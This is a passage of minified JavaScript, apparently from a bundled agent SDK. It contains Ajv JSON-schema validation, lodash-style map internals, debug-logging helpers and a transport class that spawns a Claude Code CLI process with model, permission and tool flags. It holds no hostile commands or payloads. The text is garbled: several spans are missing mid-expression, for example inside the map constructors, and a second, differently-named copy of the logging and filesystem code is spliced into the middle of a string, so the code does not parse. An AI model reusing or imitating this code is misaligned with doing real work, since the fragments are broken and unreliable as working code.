meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}}),e6=Q((t,e)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.MissingRefError=t.ValidationError=t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=t.Ajv=void 0;var r=gL(),n=XL(),a=YL(),s=QL(),i=["/properties"],o="http://json-schema.org/draft-07/schema";class c extends r.default{_addVocabularies(){super._addVocabularies(),n.default.forEach(g=>this.addVocabulary(g)),this.opts.discriminator&&this.addKeyword(a.default)}_addDefaultMetaSchema(){if(super._addDefaultMetaSchema(),!this.opts.meta)return;let g=this.opts.$data?this.$dataMetaSchema(s,i):s;this.addMetaSchema(g,o,!1),this.refs["http://json-schema.org/schema"]=o}defaultMeta(){return this.opts.defaultMeta=super.defaultMeta()||(this.getSchema(o)?o:void 0)}}t.Ajv=c,e.exports=t=c,e.exports.Ajv=c,Object.defineProperty(t,"__esModule",{value:!0}),t.default=c;var u=ul();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return u.KeywordCxt}});var l=Fe();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return l._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return l.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return l.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return l.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return l.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return l.CodeGen}});var d=Em();Object.defineProperty(t,"ValidationError",{enumerable:!0,get:function(){return d.default}});var f=ll();Object.defineProperty(t,"MissingRefError",{enumerable:!0,get:function(){return f.default}})}),t6=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.formatLimitDefinition=void 0;var e=e6(),r=Fe(),n=r.operators,a={formatMaximum:{okStr:"<=",ok:n.LTE,fail:n.GT},formatMinimum:{okStr:">=",ok:n.GTE,fail:n.LT},formatExclusiveMaximum:{okStr:"<",ok:n.LT,fail:n.GTE},formatExclusiveMinimum:{okStr:">",ok:n.GT,fail:n.LTE}},s={message:({keyword:o,schemaCode:c})=>(0,r.str)`should be ${a[o].okStr} ${c}`,params:({keyword:o,schemaCode:c})=>(0,r._)`{comparison: ${a[o].okStr}, limit: ${c}}`};t.formatLimitDefinition={keyword:Object.keys(a),type:"string",schemaType:"string",$data:!0,error:s,code(o){let{gen:c,data:u,schemaCode:l,keyword:d,it:f}=o,{opts:m,self:g}=f;if(!m.validateFormats)return;let b=new e.KeywordCxt(f,g.RULES.all.format.definition,"format");b.$data?p():h();function p(){let v=c.scopeValue("formats",{ref:g.formats,code:m.code.formats}),_=c.const("fmt",(0,r._)`${v}[${b.schemaCode}]`);o.fail$data((0,r.or)((0,r._)`typeof ${_} != "object"`,(0,r._)`${_} instanceof RegExp`,(0,r._)`typeof ${_}.compare != "function"`,y(_)))}function h(){let v=b.schema,_=g.formats[v];if(!_||_===!0)return;if(typeof _!="object"||_ instanceof RegExp||typeof _.compare!="function")throw new Error(`"${d}": format "${v}" does not define "compare" function`);let S=c.scopeValue("formats",{key:v,ref:_,code:m.code.formats?(0,r._)`${m.code.formats}${(0,r.getProperty)(v)}`:void 0});o.fail$data(y(S))}function y(v){return(0,r._)`${v}.compare(${u}, ${l}) ${a[d].fail} 0`}},dependencies:["format"]};var i=o=>(o.addKeyword(t.formatLimitDefinition),o);t.default=i}),r6=Q((t,e)=>{Object.defineProperty(t,"__esModule",{value:!0});var r=uL(),n=t6(),a=Fe(),s=new a.Name("fullFormats"),i=new a.Name("fastFormats"),o=(u,l={keywords:!0})=>{if(Array.isArray(l))return c(u,l,r.fullFormats,s),u;let[d,f]=l.mode==="fast"?[r.fastFormats,i]:[r.fullFormats,s],m=l.formats||r.formatNames;return c(u,m,d,f),l.keywords&&(0,n.default)(u),u};o.get=(u,l="full")=>{let f=(l==="fast"?r.fastFormats:r.fullFormats)[u];if(!f)throw new Error(`Unknown format "${u}"`);return f};function c(u,l,d,f){var m,g;(m=(g=u.opts.code).formats)!==null&&m!==void 0||(g.formats=(0,a._)`require("ajv-formats/dist/formats").${f}`);for(let b of l)u.addFormat(b,d[b])}e.exports=t=o,Object.defineProperty(t,"__esModule",{value:!0}),t.default=o}),a6=50;function sT(t=a6){let e=new AbortController;return(0,nT.setMaxListeners)(t,e.signal),e}var n6=typeof global=="object"&&global&&global.Object===Object&&global,s6=n6,i6=typeof self=="object"&&self&&self.Object===Object&&self,o6=s6||i6||Function("return this")(),$m=o6,c6=$m.Symbol,Xu=c6,uT=Object.prototype,u6=uT.hasOwnProperty,l6=uT.toString,fo=Xu?Xu.toStringTag:void 0;function d6(t){var e=u6.call(t,fo),r=t[fo];try{t[fo]=void 0;var n=!0}catch{}var a=l6.call(t);return n&&(e?t[fo]=r:delete t[fo]),a}var p6=d6,f6=Object.prototype,m6=f6.toString;function h6(t){return m6.call(t)}var v6=h6,g6="[object Null]",y6="[object Undefined]",m1=Xu?Xu.toStringTag:void 0;function _6(t){return t==null?t===void 0?y6:g6:m1&&m1 in Object(t)?p6(t):v6(t)}var b6=_6;function x6(t){var e=typeof t;return t!=null&&(e=="object"||e=="function")}var lT=x6,w6="[object AsyncFunction]",S6="[object Function]",E6="[object GeneratorFunction]",T6="[object Proxy]";function k6(t){if(!lT(t))return!1;var e=b6(t);return e==S6||e==E6||e==w6||e==T6}var $6=k6,R6=$m["__core-js_shared__"],Xf=R6,h1=(function(){var t=/[^.]+$/.exec(Xf&&Xf.keys&&Xf.keys.IE_PROTO||"");return t?"Symbol(src)_1."+t:""})();function P6(t){return!!h1&&h1 in t}var O6=P6,C6=Function.prototype,I6=C6.toString;function A6(t){if(t!=null){try{return I6.call(t)}catch{}try{return t+""}catch{}}return""}var N6=A6,j6=/[\\^$.*+?()[\]{}|]/g,M6=/^\[object .+?Constructor\]$/,D6=Function.prototype,q6=Object.prototype,L6=D6.toString,F6=q6.hasOwnProperty,z6=RegExp("^"+L6.call(F6).replace(j6,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function U6(t){if(!lT(t)||O6(t))return!1;var e=$6(t)?z6:M6;return e.test(N6(t))}var H6=U6;function B6(t,e){return t?.[e]}var V6=B6;function Z6(t,e){var r=V6(t,e);return H6(r)?r:void 0}var dT=Z6,G6=dT(Object,"create"),vo=G6;function W6(){this.__data__=vo?vo(null):{},this.size=0}var K6=W6;function X6(t){var e=this.has(t)&&delete this.__data__[t];return this.size-=e?1:0,e}var J6=X6,Y6="__lodash_hash_undefined__",Q6=Object.prototype,e5=Q6.hasOwnProperty;function t5(t){var e=this.__data__;if(vo){var r=e[t];return r===Y6?void 0:r}return e5.call(e,t)?e[t]:void 0}var r5=t5,a5=Object.prototype,n5=a5.hasOwnProperty;function s5(t){var e=this.__data__;return vo?e[t]!==void 0:n5.call(e,t)}var i5=s5,o5="__lodash_hash_undefined__";function c5(t,e){var r=this.__data__;return this.size+=this.has(t)?0:1,r[t]=vo&&e===void 0?o5:e,this}var u5=c5;function ri(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e-1}var w5=x5;function S5(t,e){var r=this.__data__,n=dl(r,t);return n<0?(++this.size,r.push([t,e])):r[n][1]=e,this}var E5=S5;function ai(t){var e=-1,r=t==null?0:t.length;for(this.clear();++e{if(!t||t.trim()==="")return null;let e=t.split(",").map(s=>s.trim()).filter(Boolean);if(e.length===0)return null;let r=e.some(s=>s.startsWith("!")),n=e.some(s=>!s.startsWith("!"));if(r&&n)return null;let a=e.map(s=>s.replace(/^!/,"").toLowerCase());return{include:r?[]:a,exclude:r?a:[],isExclusive:r}});function B5(t){let e=[],r=t.match(/^MCP server ["']([^"']+)["']/);if(r&&r[1])e.push("mcp"),e.push(r[1].toLowerCase());else{let s=t.match(/^([^:[]+):/);s&&s[1]&&e.push(s[1].trim().toLowerCase())}let n=t.match(/^\[([^\]]+)]/);n&&n[1]&&e.push(n[1].trim().toLowerCase()),t.toLowerCase().includes("statsig event:")&&e.push("statsig");let a=t.match(/:\s*([^:]+?)(?:\s+(?:type|mode|status|event))?:/);if(a&&a[1]){let s=a[1].trim().toLowerCase();s.length<30&&!s.includes(" ")&&e.push(s)}return Array.from(new Set(e))}function V5(t,e){return e?t.length===0?!1:e.isExclusive?!t.some(r=>e.exclude.includes(r)):t.some(r=>e.include.includes(r)):!0}function Z5(t,e){if(!e)return!0;let r=B5(t);return V5(r,e)}function hT(){return process.env.CLAUDE_CONFIG_DIR??(0,fT.join)((0,mT.homedir)(),".claude")}function y1(t){if(!t)return!1;if(typeof t=="boolean")return t;let e=t.toLowerCase().trim();return["1","true","yes","on"].includes(e)}var G5={name:"BASH_MAX_OUTPUT_LENGTH",default:3e4,validate:t=>{if(!t)return{effective:3e4,status:"valid"};let n=parseInt(t,10);return isNaN(n)||n<=0?{effective:3e4,status:"invalid",message:`Invalid value "${t}" (using default: 30000)`}:n>15e4?{effective:15e4,status:"capped",message:`Capped from ${n} to 150000`}:{effective:n,status:"valid"}}},W5={name:"CLAUDE_CODE_MAX_OUTPUT_TOKENS",default:32e3,validate:t=>{if(!t)return{effective:32e3,status:"valid"};let n=parseInt(t,10);return isNaN(n)||n<=0?{effective:32e3,status:"invalid",message:`Invalid value "${t}" (using default: 32000)`}:n>64e3?{effective:64e3,status:"capped",message:`Capped from ${n} to 64000`}:{effective:n,status:"valid"}}};function K5(){let t="";return typeof process<"u"&&typeof process.cwd=="function"&&(t=(0,gT.realpathSync)((0,vT.cwd)())),{originalCwd:t,totalCostUSD:0,totalAPIDuration:0,totalAPIDurationWithoutRetries:0,totalToolDuration:0,startTime:Date.now(),lastInteractionTime:Date.now(),totalLinesAdded:0,totalLinesRemoved:0,hasUnknownModelCost:!1,cwd:t,modelUsage:{},mainLoopModelOverride:void 0,initialMainLoopModel:null,modelStrings:null,isInteractive:!1,clientType:"cli",sessionIngressToken:void 0,oauthTokenFromFd:void 0,apiKeyFromFd:void 0,flagSettingsPath:void 0,allowedSettingSources:["userSettings","projectSettings","localSettings","flagSettings","policySettings"],meter:null,sessionCounter:null,locCounter:null,prCounter:null,commitCounter:null,costCounter:null,tokenCounter:null,codeEditToolDecisionCounter:null,activeTimeCounter:null,sessionId:(0,yT.randomUUID)(),loggerProvider:null,eventLogger:null,meterProvider:null,tracerProvider:null,agentColorMap:new Map,agentColorIndex:0,envVarValidators:[G5,W5],lastAPIRequest:null,inMemoryErrorLog:[],inlinePlugins:[],sessionBypassPermissionsMode:!1,sessionPersistenceDisabled:!1,hasExitedPlanMode:!1,needsPlanModeExitAttachment:!1,hasExitedDelegateMode:!1,needsDelegateModeExitAttachment:!1,lspRecommendationShownThisSession:!1,initJsonSchema:null,registeredHooks:null,planSlugCache:new Map,teleportedSessionInfo:null,invokedSkills:new Map}}var X5=K5();function J5(){return X5.sessionId}function Y5({writeFn:t,flushIntervalMs:e=1e3,maxBufferSize:r=100,immediateMode:n=!1}){let a=[],s=null;function i(){s&&(clearTimeout(s),s=null)}function o(){a.length!==0&&(t(a.join("")),a=[],i())}function c(){s||(s=setTimeout(o,e))}return{write(u){if(n){t(u);return}a.push(u),c(),a.length>=r&&o()},flush:o,dispose(){o()}}}var _1=new Set;function Q5(t){return _1.add(t),()=>_1.delete(t)}var eF=Oo(()=>y1(process.env.DEBUG)||y1(process.env.DEBUG_SDK)||process.argv.includes("--debug")||process.argv.includes("-d")||_T()||process.argv.some(t=>t.startsWith("--debug="))),tF=Oo(()=>{let t=process.argv.find(r=>r.startsWith("--debug="));if(!t)return null;let e=t.substring(8);return H5(e)}),_T=Oo(()=>process.argv.includes("--debug-to-stderr")||process.argv.includes("-d2e"));function rF(t){if(typeof process>"u"||typeof process.versions>"u"||typeof process.versions.node>"u")return!1;let e=tF();return Z5(t,e)}var aF=!1,zu=null;function nF(){return zu||(zu=Y5({writeFn:t=>{let e=bT();va().existsSync((0,jn.dirname)(e))||va().mkdirSync((0,jn.dirname)(e)),va().appendFileSync(e,t),sF()},flushIntervalMs:1e3,maxBufferSize:100,immediateMode:eF()}),Q5(async()=>zu?.dispose())),zu}function Fa(t,{level:e}={level:"debug"}){if(!rF(t))return;aF&&t.includes(` `)&&(t=JSON.stringify(t));let n=`${new Date().toISOString()} [${e.toUpperCase()}] ${t.trim()} -`;if(uT()){b5(n);return}M5().write(n)}function lT(){return process.env.CLAUDE_CODE_DEBUG_LOGS_DIR??(0,Cn.join)(sT(),"debug",`${P5()}.txt`)}var D5=Ro(()=>{if(process.argv[2]!=="--ripgrep")try{let t=lT(),e=(0,Cn.dirname)(t),r=(0,Cn.join)(e,"latest");if(fa().existsSync(e)||fa().mkdirSync(e),fa().existsSync(r))try{fa().unlinkSync(r)}catch{}fa().symlinkSync(t,r)}catch{}}),q5=5;function Tt(t,e){let r=performance.now();try{return e()}finally{let n=performance.now()-r;n>q5&&Da(`[SLOW OPERATION DETECTED] fs.${t} (${n.toFixed(1)}ms)`)}}var L5={cwd(){return process.cwd()},existsSync(t){return Tt("existsSync",()=>Ee.existsSync(t))},async stat(t){return(0,Y1.stat)(t)},statSync(t){return Tt("statSync",()=>Ee.statSync(t))},lstatSync(t){return Tt("lstatSync",()=>Ee.lstatSync(t))},readFileSync(t,e){return Tt("readFileSync",()=>Ee.readFileSync(t,{encoding:e.encoding}))},readFileBytesSync(t){return Tt("readFileBytesSync",()=>Ee.readFileSync(t))},readSync(t,e){return Tt("readSync",()=>{let r;try{r=Ee.openSync(t,"r");let n=Buffer.alloc(e.length),a=Ee.readSync(r,n,0,e.length,0);return{buffer:n,bytesRead:a}}finally{r&&Ee.closeSync(r)}})},writeFileSync(t,e,r){return Tt("writeFileSync",()=>{let n=Ee.existsSync(t);if(!r.flush){let s={encoding:r.encoding};n?r.mode!==void 0&&(s.mode=r.mode):s.mode=r.mode??384,Ee.writeFileSync(t,e,s);return}let a;try{let s=n?r.mode:r.mode??384;a=Ee.openSync(t,"w",s),Ee.writeFileSync(a,e,{encoding:r.encoding}),Ee.fsyncSync(a)}finally{a&&Ee.closeSync(a)}})},appendFileSync(t,e,r){return Tt("appendFileSync",()=>{if(Ee.existsSync(t))Ee.appendFileSync(t,e);else{let n=r?.mode??384,a=Ee.openSync(t,"a",n);try{Ee.appendFileSync(a,e)}finally{Ee.closeSync(a)}}})},copyFileSync(t,e){return Tt("copyFileSync",()=>Ee.copyFileSync(t,e))},unlinkSync(t){return Tt("unlinkSync",()=>Ee.unlinkSync(t))},renameSync(t,e){return Tt("renameSync",()=>Ee.renameSync(t,e))},linkSync(t,e){return Tt("linkSync",()=>Ee.linkSync(t,e))},symlinkSync(t,e){return Tt("symlinkSync",()=>Ee.symlinkSync(t,e))},readlinkSync(t){return Tt("readlinkSync",()=>Ee.readlinkSync(t))},realpathSync(t){return Tt("realpathSync",()=>Ee.realpathSync(t))},mkdirSync(t){return Tt("mkdirSync",()=>{Ee.existsSync(t)||Ee.mkdirSync(t,{recursive:!0,mode:448})})},readdirSync(t){return Tt("readdirSync",()=>Ee.readdirSync(t,{withFileTypes:!0}))},readdirStringSync(t){return Tt("readdirStringSync",()=>Ee.readdirSync(t))},isDirEmptySync(t){return Tt("isDirEmptySync",()=>this.readdirSync(t).length===0)},rmdirSync(t){return Tt("rmdirSync",()=>Ee.rmdirSync(t))},rmSync(t,e){return Tt("rmSync",()=>Ee.rmSync(t,e))},createWriteStream(t){return Ee.createWriteStream(t)}},F5=L5;function fa(){return F5}var On=class extends Error{};function dT(){return process.versions.bun!==void 0}var Fu=null,l1=!1;function z5(){if(l1)return Fu;if(l1=!0,!process.env.DEBUG_CLAUDE_AGENT_SDK)return null;let t=(0,em.join)(sT(),"debug");return Fu=(0,em.join)(t,`sdk-${(0,pT.randomUUID)()}.txt`),(0,ai.existsSync)(t)||(0,ai.mkdirSync)(t,{recursive:!0}),process.stderr.write(`SDK debug logs: ${Fu} -`),Fu}function Pn(t){let e=z5();if(!e)return;let n=`${new Date().toISOString()} ${t} -`;(0,ai.appendFileSync)(e,n)}function U5(t,e){let r={...t};if(e){let n={sandbox:e};if(r.settings)try{n={...JSON.parse(r.settings),sandbox:e}}catch{}r.settings=JSON.stringify(n)}return r}var tm=class{options;process;processStdin;processStdout;ready=!1;abortController;exitError;exitListeners=[];processExitHandler;abortHandler;constructor(e){this.options=e,this.abortController=e.abortController||K1(),this.initialize()}getDefaultExecutable(){return dT()?"bun":"node"}spawnLocalProcess(e){let{command:r,args:n,cwd:a,env:s,signal:i}=e,o=s.DEBUG_CLAUDE_AGENT_SDK||this.options.stderr?"pipe":"ignore",c=(0,X1.spawn)(r,n,{cwd:a,stdio:["pipe","pipe",o],signal:i,env:s,windowsHide:!0});return(s.DEBUG_CLAUDE_AGENT_SDK||this.options.stderr)&&c.stderr.on("data",l=>{let d=l.toString();Pn(d),this.options.stderr&&this.options.stderr(d)}),{stdin:c.stdin,stdout:c.stdout,get killed(){return c.killed},get exitCode(){return c.exitCode},kill:c.kill.bind(c),on:c.on.bind(c),once:c.once.bind(c),off:c.off.bind(c)}}initialize(){try{let{additionalDirectories:e=[],betas:r,cwd:n,executable:a=this.getDefaultExecutable(),executableArgs:s=[],extraArgs:i={},pathToClaudeCodeExecutable:o,env:c={...process.env},maxThinkingTokens:u,maxTurns:l,maxBudgetUsd:d,model:f,fallbackModel:m,jsonSchema:g,permissionMode:b,allowDangerouslySkipPermissions:p,permissionPromptToolName:h,continueConversation:y,resume:v,settingSources:_,allowedTools:S=[],disallowedTools:x=[],tools:w,mcpServers:T,strictMcpConfig:R,canUseTool:A,includePartialMessages:j,plugins:q,sandbox:U}=this.options,N=["--output-format","stream-json","--verbose","--input-format","stream-json"];if(u!==void 0&&N.push("--max-thinking-tokens",u.toString()),l&&N.push("--max-turns",l.toString()),d!==void 0&&N.push("--max-budget-usd",d.toString()),f&&N.push("--model",f),r&&r.length>0&&N.push("--betas",r.join(",")),g&&N.push("--json-schema",JSON.stringify(g)),c.DEBUG_CLAUDE_AGENT_SDK&&N.push("--debug-to-stderr"),A){if(h)throw new Error("canUseTool callback cannot be used with permissionPromptToolName. Please use one or the other.");N.push("--permission-prompt-tool","stdio")}else h&&N.push("--permission-prompt-tool",h);if(y&&N.push("--continue"),v&&N.push("--resume",v),S.length>0&&N.push("--allowedTools",S.join(",")),x.length>0&&N.push("--disallowedTools",x.join(",")),w!==void 0&&(Array.isArray(w)?w.length===0?N.push("--tools",""):N.push("--tools",w.join(",")):N.push("--tools","default")),T&&Object.keys(T).length>0&&N.push("--mcp-config",JSON.stringify({mcpServers:T})),_&&N.push("--setting-sources",_.join(",")),R&&N.push("--strict-mcp-config"),b&&N.push("--permission-mode",b),p&&N.push("--allow-dangerously-skip-permissions"),m){if(f&&m===f)throw new Error("Fallback model cannot be the same as the main model. Please specify a different model for fallbackModel option.");N.push("--fallback-model",m)}j&&N.push("--include-partial-messages");for(let P of e)N.push("--add-dir",P);if(q&&q.length>0)for(let P of q)if(P.type==="local")N.push("--plugin-dir",P.path);else throw new Error(`Unsupported plugin type: ${P.type}`);this.options.forkSession&&N.push("--fork-session"),this.options.resumeSessionAt&&N.push("--resume-session-at",this.options.resumeSessionAt),this.options.persistSession===!1&&N.push("--no-session-persistence");let G=U5(i??{},U);for(let[P,L]of Object.entries(G))L===null?N.push(`--${P}`):N.push(`--${P}`,L);c.CLAUDE_CODE_ENTRYPOINT||(c.CLAUDE_CODE_ENTRYPOINT="sdk-ts"),delete c.NODE_OPTIONS,c.DEBUG_CLAUDE_AGENT_SDK?c.DEBUG="1":delete c.DEBUG;let te=H5(o),ce=te?o:a,le=te?[...s,...N]:[...s,o,...N],ne={command:ce,args:le,cwd:n,env:c,signal:this.abortController.signal};if(this.options.spawnClaudeCodeProcess)Pn(`Spawning Claude Code (custom): ${ce} ${le.join(" ")}`),this.process=this.options.spawnClaudeCodeProcess(ne);else{if(!fa().existsSync(o)){let L=te?`Claude Code native binary not found at ${o}. Please ensure Claude Code is installed via native installer or specify a valid path with options.pathToClaudeCodeExecutable.`:`Claude Code executable not found at ${o}. Is options.pathToClaudeCodeExecutable set?`;throw new ReferenceError(L)}Pn(`Spawning Claude Code: ${ce} ${le.join(" ")}`),this.process=this.spawnLocalProcess(ne)}this.processStdin=this.process.stdin,this.processStdout=this.process.stdout;let H=()=>{this.process&&!this.process.killed&&this.process.kill("SIGTERM")};this.processExitHandler=H,this.abortHandler=H,process.on("exit",this.processExitHandler),this.abortController.signal.addEventListener("abort",this.abortHandler),this.process.on("error",P=>{this.ready=!1,this.abortController.signal.aborted?this.exitError=new On("Claude Code process aborted by user"):(this.exitError=new Error(`Failed to spawn Claude Code process: ${P.message}`),Pn(this.exitError.message))}),this.process.on("exit",(P,L)=>{if(this.ready=!1,this.abortController.signal.aborted)this.exitError=new On("Claude Code process aborted by user");else{let C=this.getProcessExitError(P,L);C&&(this.exitError=C,Pn(C.message))}}),this.ready=!0}catch(e){throw this.ready=!1,e}}getProcessExitError(e,r){if(e!==0&&e!==null)return new Error(`Claude Code process exited with code ${e}`);if(r)return new Error(`Claude Code process terminated by signal ${r}`)}write(e){if(this.abortController.signal.aborted)throw new On("Operation aborted");if(!this.ready||!this.processStdin)throw new Error("ProcessTransport is not ready for writing");if(this.process?.killed||this.process?.exitCode!==null)throw new Error("Cannot write to terminated process");if(this.exitError)throw new Error(`Cannot write to process that exited with error: ${this.exitError.message}`);Pn(`[ProcessTransport] Writing to stdin: ${e.substring(0,100)}`);try{this.processStdin.write(e)||Pn("[ProcessTransport] Write buffer full, data queued")}catch(r){throw this.ready=!1,new Error(`Failed to write to process stdin: ${r.message}`)}}close(){this.processStdin&&(this.processStdin.end(),this.processStdin=void 0),this.abortHandler&&(this.abortController.signal.removeEventListener("abort",this.abortHandler),this.abortHandler=void 0);for(let{handler:e}of this.exitListeners)this.process?.off("exit",e);this.exitListeners=[],this.process&&!this.process.killed&&(this.process.kill("SIGTERM"),setTimeout(()=>{this.process&&!this.process.killed&&this.process.kill("SIGKILL")},5e3)),this.ready=!1,this.processExitHandler&&(process.off("exit",this.processExitHandler),this.processExitHandler=void 0)}isReady(){return this.ready}async*readMessages(){if(!this.processStdout)throw new Error("ProcessTransport output stream not available");let e=(0,J1.createInterface)({input:this.processStdout});try{for await(let r of e)r.trim()&&(yield JSON.parse(r));await this.waitForExit()}catch(r){throw r}finally{e.close()}}endInput(){this.processStdin&&this.processStdin.end()}getInputStream(){return this.processStdin}onExit(e){if(!this.process)return()=>{};let r=(n,a)=>{let s=this.getProcessExitError(n,a);e(s)};return this.process.on("exit",r),this.exitListeners.push({callback:e,handler:r}),()=>{this.process&&this.process.off("exit",r);let n=this.exitListeners.findIndex(a=>a.handler===r);n!==-1&&this.exitListeners.splice(n,1)}}async waitForExit(){if(!this.process){if(this.exitError)throw this.exitError;return}if(this.process.exitCode!==null||this.process.killed){if(this.exitError)throw this.exitError;return}return new Promise((e,r)=>{let n=(s,i)=>{if(this.abortController.signal.aborted){r(new On("Operation aborted"));return}let o=this.getProcessExitError(s,i);o?r(o):e()};this.process.once("exit",n);let a=s=>{this.process.off("exit",n),r(s)};this.process.once("error",a),this.process.once("exit",()=>{this.process.off("error",a)})})}};function H5(t){return![".js",".mjs",".tsx",".ts",".jsx"].some(r=>t.endsWith(r))}var rm=class{returned;queue=[];readResolve;readReject;isDone=!1;hasError;started=!1;constructor(e){this.returned=e}[Symbol.asyncIterator](){if(this.started)throw new Error("Stream can only be iterated once");return this.started=!0,this}next(){return this.queue.length>0?Promise.resolve({done:!1,value:this.queue.shift()}):this.isDone?Promise.resolve({done:!0,value:void 0}):this.hasError?Promise.reject(this.hasError):new Promise((e,r)=>{this.readResolve=e,this.readReject=r})}enqueue(e){if(this.readResolve){let r=this.readResolve;this.readResolve=void 0,this.readReject=void 0,r({done:!1,value:e})}else this.queue.push(e)}done(){if(this.isDone=!0,this.readResolve){let e=this.readResolve;this.readResolve=void 0,this.readReject=void 0,e({done:!0,value:void 0})}}error(e){if(this.hasError=e,this.readReject){let r=this.readReject;this.readResolve=void 0,this.readReject=void 0,r(e)}}return(){return this.isDone=!0,this.returned&&this.returned(),Promise.resolve({done:!0,value:void 0})}},am=class{sendMcpMessage;isClosed=!1;constructor(e){this.sendMcpMessage=e}onclose;onerror;onmessage;async start(){}async send(e){if(this.isClosed)throw new Error("Transport is closed");this.sendMcpMessage(e)}async close(){this.isClosed||(this.isClosed=!0,this.onclose?.())}},nm=class{transport;isSingleUserTurn;canUseTool;hooks;abortController;jsonSchema;initConfig;pendingControlResponses=new Map;cleanupPerformed=!1;sdkMessages;inputStream=new rm;initialization;cancelControllers=new Map;hookCallbacks=new Map;nextCallbackId=0;sdkMcpTransports=new Map;sdkMcpServerInstances=new Map;pendingMcpResponses=new Map;firstResultReceivedResolve;firstResultReceived=!1;hasBidirectionalNeeds(){return this.sdkMcpTransports.size>0||this.hooks!==void 0&&Object.keys(this.hooks).length>0||this.canUseTool!==void 0}constructor(e,r,n,a,s,i=new Map,o,c){this.transport=e,this.isSingleUserTurn=r,this.canUseTool=n,this.hooks=a,this.abortController=s,this.jsonSchema=o,this.initConfig=c;for(let[u,l]of i)this.connectSdkMcpServer(u,l);this.sdkMessages=this.readSdkMessages(),this.readMessages(),this.initialization=this.initialize(),this.initialization.catch(()=>{})}setError(e){this.inputStream.error(e)}cleanup(e){if(!this.cleanupPerformed){this.cleanupPerformed=!0;try{this.transport.close(),this.pendingControlResponses.clear(),this.pendingMcpResponses.clear(),this.cancelControllers.clear(),this.hookCallbacks.clear();for(let r of this.sdkMcpTransports.values())try{r.close()}catch{}this.sdkMcpTransports.clear(),e?this.inputStream.error(e):this.inputStream.done()}catch{}}}next(...[e]){return this.sdkMessages.next(e)}return(e){return this.sdkMessages.return(e)}throw(e){return this.sdkMessages.throw(e)}[Symbol.asyncIterator](){return this.sdkMessages}[Symbol.asyncDispose](){return this.sdkMessages[Symbol.asyncDispose]()}async readMessages(){try{for await(let e of this.transport.readMessages()){if(e.type==="control_response"){let r=this.pendingControlResponses.get(e.response.request_id);r&&r(e.response);continue}else if(e.type==="control_request"){this.handleControlRequest(e);continue}else if(e.type==="control_cancel_request"){this.handleControlCancelRequest(e);continue}else if(e.type==="keep_alive")continue;e.type==="result"&&(this.firstResultReceived=!0,this.firstResultReceivedResolve&&this.firstResultReceivedResolve(),this.isSingleUserTurn&&(Da("[Query.readMessages] First result received for single-turn query, closing stdin"),this.transport.endInput())),this.inputStream.enqueue(e)}this.firstResultReceivedResolve&&this.firstResultReceivedResolve(),this.inputStream.done(),this.cleanup()}catch(e){this.firstResultReceivedResolve&&this.firstResultReceivedResolve(),this.inputStream.error(e),this.cleanup(e)}}async handleControlRequest(e){let r=new AbortController;this.cancelControllers.set(e.request_id,r);try{let n=await this.processControlRequest(e,r.signal),a={type:"control_response",response:{subtype:"success",request_id:e.request_id,response:n}};await Promise.resolve(this.transport.write(JSON.stringify(a)+` +`;if(_T()){U5(n);return}nF().write(n)}function bT(){return process.env.CLAUDE_CODE_DEBUG_LOGS_DIR??(0,jn.join)(hT(),"debug",`${J5()}.txt`)}var sF=Oo(()=>{if(process.argv[2]!=="--ripgrep")try{let t=bT(),e=(0,jn.dirname)(t),r=(0,jn.join)(e,"latest");if(va().existsSync(e)||va().mkdirSync(e),va().existsSync(r))try{va().unlinkSync(r)}catch{}va().symlinkSync(t,r)}catch{}}),iF=5;function Rt(t,e){let r=performance.now();try{return 